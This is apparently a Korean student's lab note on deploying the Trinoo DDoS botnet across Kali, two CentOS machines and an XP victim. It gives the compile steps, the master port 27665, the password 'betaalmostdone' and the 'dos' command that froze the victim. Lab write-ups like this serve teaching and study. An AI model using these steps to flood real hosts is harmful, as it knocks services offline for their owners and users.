DDoS - Botnet 형태

 

 

Kali ( telnet = 공격자 ) ,

CentOS_32 두 대 ( master = C&C server, agent = Zombie PC ) ,

XP ( wireshark = 희생자 )

 

---

1. CentOS 32비트 에다가 trinoo.tar 파일 받아와서 클론 만들어주기

 

---

네트워크 주소 바꾸기

ifconfig -> 네트워크(eth0) 인식 안 될 때

 

# vi /etc/sysconfig/network-scripts/ifcfg-eth0

맥주소 맞게 입력해주고

 

* #vi /etc/udev/rules.d/70-persistent-net.rules

가서 맞지 않는 맥주소 부분 지워주고, 네트워크 맞는 것 하나만 남겨두고 저장 후 재부팅.

 

#vi /etc/udev/rules.d/70-persistent-net.rules

---

2. master (200.200.200.15), agent (200.200.200.146) 에서 wget trinoo.tar 둘 다 설치 해주고

 

3. master 서버에서

다음과 같이 trinoo 압축 풀고 make 로 설치까지 해준다.

 

 

 

 

4. agent 에서,

 

[root@localhost ~]# cd daemon
[root@localhost daemon]# pwd
/root/daemon
[root@localhost daemon]# ls
ns.c
[root@localhost daemon]# cp /root/master/* /root/daemon/

마스터 주소 입력해주기 (master<->agent 연결 작업)
[root@localhost daemon]# vi ns.c

 

[root@localhost daemon]# vi Makefile

실행파일명이 daemon, 컴파일 해줄 파일이 ns.c

저장후

# make

# ./daemon 실행 후 확인

 

참고로 4개의 PC 다 네트워크는 브릿지(Bridge)로 설정

 

5. kali 에서,

telnet을 이용하여 master로 접속

마스터 서버에 27665 포트로 열려있음을 알 수 있다.

 

# telnet 200.200.200.145 (마스터주소) 27665

텔넷 연결 후 betaalmostdone 입력해주면 trinoo로 들어옴

 

 

6. XP 죽어라!!

dos 200.200.200.151 (xp주소)

 

XP 서버가 검정화면이 나왔다가,

아무것도 움직이지 않게 된 것을 볼 수 있다.

서버 쥬금.